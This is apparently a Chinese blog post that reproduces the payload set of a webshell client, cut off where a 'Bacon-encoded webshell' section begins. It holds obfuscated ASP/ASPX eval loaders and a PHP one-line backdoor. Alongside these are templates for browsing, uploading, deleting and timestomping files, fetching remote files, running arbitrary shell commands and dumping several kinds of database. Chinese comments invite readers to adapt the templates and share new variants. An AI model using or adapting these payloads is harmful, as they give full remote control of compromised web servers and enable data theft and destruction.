%%u0045%%xec%%ute%%G%%loba%%l%%%%28Replace%%28%%22Fu%%nct%%ion%%20bd%%28by%%V%%al%%20s%%29:Fo%%r%%20i%%%%3D1%%20T%%o%%20Le%%n%%28s%%29%%20S%%te%%p%%202:c%%%%3DM%%id%%28s%%2Ci%%2C2%%29:If%%20Is%%Nu%%meric%%28M%%id%%28s%%2Ci%%2C1%%29%%29%%20T%%hen:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%29:E%%lse:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%4026%%40M%%id%%28s%%2Ci%%2B2%%2C2%%29%%29:i%%%%3Di%%2B2:E%%nd%%20If:Ne%%xt:E%%nd%%20Fu%%nct%%ion:E%%xecu%%te%%%%28bd%%%%28%%22%%224F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022%s223A%s3A526573706F6E73652E57726974652022%s223A526573706F6E73652E456E64%%22%%22%%29%%%%29%%22%%2C%%22%%4026%%40%%22%%2Cchr%%2838%%29%%29%%29</ASP_BASE>//ASPX_BASE参数:%s,%d,%s,%s<ASPX_BASE>
%%u0052%%u0065sponse%%u002E%%u0057rit%%u0065("%s");var %%u0065rr:%%u0045xc%%u0065ption;%%u0074ry%%u007B%%u0065val(Syst%%u0065m%%u002ET%%u0065xt%%u002E%%u0045ncoding%%u002EG%%u0065t%%u0045ncoding(%d)%%u002EG%%u0065tString(Syst%%u0065m.Conv%%u0065rt%%u002EFromBas%%u006564String("%s")),"unsaf%%u0065");%%u007Dcatch(err)%%u007B%%u0052esponse%%u002E%%u0057rite("ER"%%2B"ROR:// "%%2Berr.message);%%u007D%%u0052%%u0065sponse.%%u0057rit%%u0065("%s");%%u0052espons%%u0065.%%u0045nd();</ASPX_BASE>//一个服务端和下面代码配合的例子,看了可以尝试改出更多花样并和大伙分享//<?php @eval(base64_decode($_POST['caidao']));?><PHP_BASE.加密示例>ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s</PHP_BASE.加密示例>实际的内容是eval(base64_decode($_POST[id]));/////////////////////////////////注意了,ASP的字符串参数都是用双引号(如 "%s"),PHP和ASPX都要用单引号(这样 '%s')。/////////////////////////////////////////////////////////////////////////////////////////////////<GETBASEINFO>
    <PHP>$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))[email protected]_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;</PHP>
    <ASP>Dim S:S=Server.Mappath("/")&chr(9):SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:Err.Clear:Else:For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)</ASP>
    <ASPX>var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath("/")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");</ASPX>
</GETBASEINFO>

<SHOWFOLDER>
    <PHP>$D='%s';[email protected]($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while([email protected]($F)){$P=$D.'/'.$N;[email protected]("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t"[email protected]($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}</PHP>
    <ASP>Dim RR:RR="%s":Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If</ASP>
    <ASPX>var D='%s';var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");}</ASPX>
</SHOWFOLDER>

<SHOWTXTFILE>
    <PHP>$F='%s';[email protected]($F,'r');echo(@fread($P,filesize($F)));@fclose($P);</PHP>
    <ASP>Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile("%s",1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If</ASP>
    <ASPX>var P='%s';var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();</ASPX>
</SHOWTXTFILE>

<SAVETXTFILE>
    <PHP>echo fwrite(fopen('%s','w'),$_POST['#K1#'])?'1':'0';</PHP>
    <ASP>CreateObject("Scripting.FileSystemObject").CreateTextFile("%s").Write(Request("#K1#")):If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If</ASP>
    <ASPX>var P='%s';var T:String=Request.Item["#K1#"];var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(T);m.Close();Response.Write('1');</ASPX>
</SAVETXTFILE>

<DELETEFILE>
    <PHP>$F='%s';function df($p){[email protected]($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)[email protected]($F)?"1":"0":"0");}</PHP>
    <ASP>Dim P:P="%s":Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If</ASP>
    <ASPX>var P:String='%s';if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");</ASPX>
</DELETEFILE>

<DOWNFILE>
    <PHP>$F="%s";[email protected]($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}</PHP>
    <ASP>Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile("%s"):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If</ASP>
    <ASPX>Response.WriteFile('%s');</ASPX>
</DOWNFILE>;<UPLOADFILE>
    <PHP>$f='%s';$c=$_POST["#K1#"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode('%%'.substr($c,$i,2));echo(@fwrite(fopen($f,'w'),$buf)?'1':'0');</PHP>
    <ASP>Dim l,ss,ff,T:ff="%s":ss=Request("#K1#"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:If Request("#K2#")>0 Then:.LoadFromFile ""&ff&"":.Position=.Size:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)</ASP>
    <ASPX>var P:String='%s';var Z:String=Request.Item["#K1#"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");</ASPX>
</UPLOADFILE>

<PASTEFILE>
    <PHP>$fc='%s';$fp='%s';function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}[email protected]($src);if(!is_dir($dest))if([email protected]($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");</PHP>
    <ASP>SF="%s":DF="%s":Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)</ASP>
    <ASPX>var S='%s';var D='%s';function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\"+f[i].Name,D+"\\"+f[i].Name);for (i in d)cp(S+"\\"+d[i].Name,D+"\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");</ASPX>
</PASTEFILE>

<NEWFOLDER>
    <PHP>$f='%s';echo(mkdir($f)?"1":"0");</PHP>
    <ASP>Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder("%s"):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)</ASP>
    <ASPX>var D='%s';System.IO.Directory.CreateDirectory(D);Response.Write("1");</ASPX>
</NEWFOLDER>

<WGET>
    <PHP>$fR='%s';$fL='%s';[email protected]($fR,chr(114));[email protected]($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");}</PHP>
    <ASP>Dim SI:Set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET","%s",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile "%s",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)</ASP>
    <ASPX>var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",'%s',false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile('%s',2);S.close;S=null;X=null;Response.Write("1");</ASPX>
</WGET>

<SHELL>
    <PHP>$m=get_magic_quotes_gpc();$p='%s';$s='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;</PHP>
    <ASP>Set X=CreateObject("wscript.shell").exec("%s /c %s"):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)</ASP>
    <ASPX>var c=new System.Diagnostics.ProcessStartInfo('%s');var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments='/c %s';e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());</ASPX>
</SHELL>

<RENAME>
    <PHP>$src='%s';$dst='%s';echo rename($src,$dst)?'1':'0';</PHP>
    <ASP>SF="%s":DF="%s":Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)</ASP>
    <ASPX>var src='%s',dst='%s';if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");</ASPX>
</RENAME>

<SETTIME>
    <PHP>$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};</PHP>
    <ASP>FN="%s":TM="%s":AA=Split(FN,"\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)</ASP>
    <ASPX>var DD='%s',TM='%s';if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");</ASPX>
</SETTIME>//////////////PHP_MYSQL///////////////////<DB_PHP_MYSQL_DBLIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW DATABASES");if(!$q){$q=mysqli_query($T,"select database()");}while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}mysqli_close($T);}</DB_PHP_MYSQL_DBLIST>

<DB_PHP_MYSQL_TABLELIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW TABLES FROM `{$dbn}`");if($q){while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}}mysqli_close($T);}</DB_PHP_MYSQL_TABLELIST>

<DB_PHP_MYSQL_COLUMNLIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW COLUMNS FROM `{$tbn}`");if($q){while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}}mysqli_close($T);}</DB_PHP_MYSQL_COLUMNLIST>

<DB_PHP_MYSQL_EXECUTESQL>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$sql='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,$sql);if($q){$k = 0;while ($finfo = @mysqli_fetch_field($q)){echo $finfo->name."\t|\t";$k++;}if($k>0){echo "\r\n";while([email protected]_fetch_row($q)){for($c=0;$c<$k;$c++){echo $rs[$c]."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo  "Result\t|\t\r\nERROR: ".mysqli_error($T)."\t|\t\r\n";}mysqli_close($T);}</DB_PHP_MYSQL_EXECUTESQL>//////////////PHP_POSTGRESQL///////////////////<DB_PHP_POSTGRESQL_DBLIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"select current_database()");if($q){while($rs=pg_fetch_row($q)){echo trim($rs[0]).chr(9);}}pg_close($T);}</DB_PHP_POSTGRESQL_DBLIST>

<DB_PHP_POSTGRESQL_TABLELIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"SELECT relname FROM pg_stat_user_tables");if($q){while($rs=pg_fetch_row($q)){echo trim($rs[0]).chr(9);}}pg_close($T);}</DB_PHP_POSTGRESQL_TABLELIST>

<DB_PHP_POSTGRESQL_COLUMNLIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$tbn='%s';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"SELECT * FROM {$tbn} offset 0 limit 1");if($q){$i=pg_num_fields($q);for($j=0;$j<$i;$j++){echo pg_field_name($q,$j).chr(9);}}pg_close($T);}</DB_PHP_POSTGRESQL_COLUMNLIST>

<DB_PHP_POSTGRESQL_EXECUTESQL>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$sql='%s';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,$sql);if($q){$i=pg_num_fields($q);if($i>0){for($j=0;$j<$i;$j++){echo pg_field_name($q,$j)."\t|\t";}echo "\r\n";while($rs=pg_fetch_row($q)){for($k=0;$k<$i;$k++){echo $rs[$k]."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo  "Result\t|\t\r\nERROR: ".pg_last_error($T)."\t|\t\r\n";}pg_close($T);}</DB_PHP_POSTGRESQL_EXECUTESQL>//////////////PHP_INFORMIX///////////////////<DB_PHP_INFORMIX_DBLIST>$hst='%s';$usr='%s';$pwd='%s';$T=ifx_connect($hst,$usr,$pwd);[email protected]_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo "informix\t";while([email protected]_fetch_row($q)){echo $rs[username]."\t";}@ifx_close($T);</DB_PHP_INFORMIX_DBLIST>

<DB_PHP_INFORMIX_TABLELIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=ifx_connect($hst,$usr,$pwd);[email protected]_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while([email protected]_fetch_row($q)){echo $rs[tabname]."\t";}@ifx_close($T);</DB_PHP_INFORMIX_TABLELIST>

<DB_PHP_INFORMIX__COLUMNLIST>$hst='%s';$usr='%s';$pwd='%s';$tbn='%s';$T=ifx_connect($hst,$usr,$pwd);[email protected]_query("SELECT first 1 * FROM {$tbn}",$T);if([email protected]_fetch_row($q)){for($i=0;$fn=key($rs);next($rs),$i++){echo $fn." (".$rs[$fn].")\t";}}@ifx_close($T);</DB_PHP_INFORMIX__COLUMNLIST>

<DB_PHP_INFORMIX_EXECUTESQL>$hst='%s';$usr='%s';$pwd='%s';$sql='%s';$T=ifx_connect($hst,$usr,$pwd);[email protected]_query($sql,$T);if($q){$cs=ifx_fieldtypes($q);if(isset($cs)){foreach($cs as $f=>$v){echo $f."\t|\t";}echo "\r\n";while([email protected]_fetch_row($q)){for(reset($rs);$f=key($rs);next($rs)){echo $rs[$f]);echo "\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo  "Result\t|\t\r\nERROR: ".ifx_error($T)."\t|\t\r\n";}@ifx_close($T);</DB_PHP_INFORMIX_EXECUTESQL>//////////////PHP_ORACLE/////////环境配置太麻烦了,盲改的,有环境的同学照着改出来后分享一下////////////<DB_PHP_ORACLE_DBLIST>$hst='%s';$usr='%s';$pwd='%s';[email protected]_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{[email protected]_open($H);@ora_commitoff($H);[email protected]_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)."\t";}}@ora_close($T);}</DB_PHP_ORACLE_DBLIST>

<DB_PHP_ORACLE_TABLELIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';[email protected]_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{[email protected]_open($H);@ora_commitoff($H);[email protected]_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)."\t";}}@ora_close($T);}</DB_PHP_ORACLE_TABLELIST>

<DB_PHP_ORACLE_COLUMNLIST>$hst='%s';$usr='%s';$pwd='%s';$tbn='%s';[email protected]_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{[email protected]_open($H);@ora_commitoff($H);[email protected]_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tbn}' ORDER BY COLUMN_ID");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)." (".ora_getcolumn($q,1).")\t";}}@ora_close($T);}</DB_PHP_ORACLE_COLUMNLIST>

<DB_PHP_ORACLE_EXECUTESQL>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$sql='%s';[email protected]_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{[email protected]_open($H);@ora_commitoff($H);[email protected]_parse($T,$sql);if(ora_exec($q)){$n=ora_numcols($q);if($n>){for($i=0;$i<$n;$i++){echo Ora_ColumnName($q,$i)."\t|\t";}echo "\r\n";while(ora_fetch($q)){for($i=0;$i<$n;$i++){echo ora_getcolumn($q,$i)."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}@ora_close($T);}</DB_PHP_ORACLE_EXECUTESQL>//////////////PHP_MSSQL///////////////////没测试,应该能用的,如果有环境的同学改好发一份给我<DB_PHP_MSSQL_DBLIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';[email protected]_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);[email protected]_query("select [name] from master.dbo.sysdatabases",$T);if($q){while([email protected]_fetch_row($q)){echo $rs[0]."\t";}}@mssql_close($T);}</DB_PHP_MSSQL_DBLIST>

<DB_PHP_MSSQL_TABLELIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';[email protected]_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);[email protected]_query("SELECT [name] FROM sysobjects WHERE (xtype='U' OR xtype='S') ORDER BY 1",$T);if($q){while([email protected]_fetch_row($q)){echo $rs[0]."\t";}}@mssql_close($T);}</DB_PHP_MSSQL_TABLELIST>

<DB_PHP_MSSQL_COLUMNLIST>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';[email protected]_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);[email protected]_query("SELECT TOP 1 * FROM {$tbn}",$T);if($q){while([email protected]_fetch_field($q)){echo $rs->name." (".$rs->type.")\t";}}@mssql_close($T);}</DB_PHP_MSSQL_COLUMNLIST>

<DB_PHP_MSSQL_EXECUTESQL>$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';[email protected]_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);[email protected]_query("SELECT TOP 1 * FROM {$tbn}",$T);if($q){$i=0;while([email protected]_fetch_field($q)){echo $rs->name."\t|\t";$i++;}if($i>0){echo "\r\n";while([email protected]_fetch_row($q)){for($c=0;$c<$i;$c++){echo $rs[$c]."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}@mssql_free_result($q);}else{echo  "Result\t|\t\r\nError occurred!\t|\t\r\n";}@mssql_close($T);}</DB_PHP_MSSQL_EXECUTESQL>////////////////////ASP_ADO/////////////////////////修改时一个符号的错误可能都让你郁闷一天///<DB_ASP_ADO_DBLIST>Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)</DB_ASP_ADO_DBLIST>

<DB_ASP_ADO_TABLELIST>Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)</DB_ASP_ADO_TABLELIST>

<DB_ASP_ADO_COLUMNLIST>Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "%s",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)</DB_ASP_ADO_COLUMNLIST>

<DB_ASP_ADO_EXECUTESQL>Dim CS,SQL:CS="%s":SQL="%s":Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open CS:Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(SQL):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:If FN=-1 Then:Response.Write HD&"Execute Successfully!"&CO&RN:Else:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing</DB_ASP_ADO_EXECUTESQL>////////////////////ASPX_ADO////////////////////////////<DB_ASPX_ADO_DBLIST>var Conn=new ActiveXObject("Adodb.connection");Conn.Open("%s");Response.Write("[ADO DATABASE]\t");Conn.Close();</DB_ASPX_ADO_DBLIST>

<DB_ASPX_ADO_TABLELIST>var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString="%s";Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);</DB_ASPX_ADO_TABLELIST>

<DB_ASPX_ADO_COLUMNLIST>var Conn=new ActiveXObject("Adodb.connection");Conn.Open("%s");var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("%s",Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+"\t");}Rs.Close();Conn.Close();</DB_ASPX_ADO_COLUMNLIST>

<DB_ASPX_ADO_EXECUTESQL>var er:Exception;try{var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString="%s";Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\t|\t",RN:String="\r\n",Dat:String;var Rs=Conn.Execute("%s");var i:Int32=Rs.Fields.Count,c:Int32;if(i>0){for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}}else{Response.Write("Result"+CO+RN+"Execute Successfully!"+CO+RN);}}catch(er){Response.Write("Result"+CO+RN+er.message+CO+RN);}Conn.Close();</DB_ASPX_ADO_EXECUTESQL>
复制代码

0x74: Bacon自定义编码webshell

复制代码
//beacon编码/*<?php 
<?php   

    function bacon_encode($s)
    {  
        $KEY = 'aaaaabbbbbabbbaabbababbaaababaab';
        $ALPHABET = 'abcdefghijklmnopqrstuvwxyz';

        # create list of tuples with key_value_structure = key_letter_of_alphabet
        //$key_v用于进行beacon翻译
